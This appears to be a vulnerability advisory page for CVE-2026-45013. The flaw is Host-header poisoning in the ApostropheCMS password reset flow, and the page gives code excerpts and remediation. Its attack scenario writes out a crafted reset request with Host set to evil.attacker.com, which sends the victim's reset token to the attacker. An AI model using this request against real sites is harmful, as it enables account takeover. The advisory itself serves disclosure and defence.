CVE-2026-45013: Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
Summary ApostropheCMS's password reset flow constructs the reset URL using req.hostname, which is derived directly from the attacker-controlled HTTP Host header when apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain.
Published May 14, 2026 · Updated Jun 12, 2026
Affected packages
apostrophe
- Ecosystem
- npm
- Affected
- <= 4.29.0
- Fixed in
- No patched version yet
- Check
npm ls apostrophe
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
ApostropheCMS's password reset flow constructs the reset URL using req.hostname, which is derived directly from the attacker-controlled HTTP Host header when apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover.
Affected Component
modules/@apostrophecms/login/index.js — resetRequest route Precondition: passwordReset: true is set and apos.baseUrl is not configured.
Vulnerability Details
The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:
// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;The resetRequest handler then passes this tainted value directly into URL construction:
const parsed = new URL(
req.absoluteUrl, // ← tainted by attacker's Host header
self.apos.baseUrl
? undefined
: `${req.protocol}://${req.hostname}${port}` // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset); // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domainWhen apos.baseUrl is configured, it is used unconditionally and the attacker's Host header is ignored — that path is not vulnerable.
Attack Scenario
- Attacker identifies a valid user email (e.g. from the site's public interface).
- Attacker sends:
POST /api/v1/login/reset-request
Host: evil.attacker.com
Content-Type: application/json
{"email": "[email protected]"}- The application emails the victim:
Click here to reset your password:
http://evil.attacker.com/login?reset=TOKEN&[email protected]- Victim clicks the link; attacker's server captures
TOKEN. - Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.
Preconditions
passwordReset: trueconfigured in login module options (opt-in)apos.baseUrlis not set (common in development and some production deployments)- Attacker knows or can enumerate a valid account email
Impact
Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.
Remediation
Operators (immediate): Always set apos.baseUrl in your configuration:
// app.js or module configuration
modules: {
'@apostrophecms/express': {
options: {
baseUrl: 'https://yourdomain.com'
}
}
}Framework fix (recommended): The resetRequest route should refuse to proceed if apos.baseUrl is not configured, rather than falling back to the tainted req.hostname. Example:
// In resetRequest handler
if (!self.apos.baseUrl) {
throw self.apos.error(
'invalid',
'apos.baseUrl must be configured to enable password reset'
);
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);This eliminates the attacker-controlled input entirely from the URL construction path.
References
Credited to Mujahidkhan525, VadlaReddySai.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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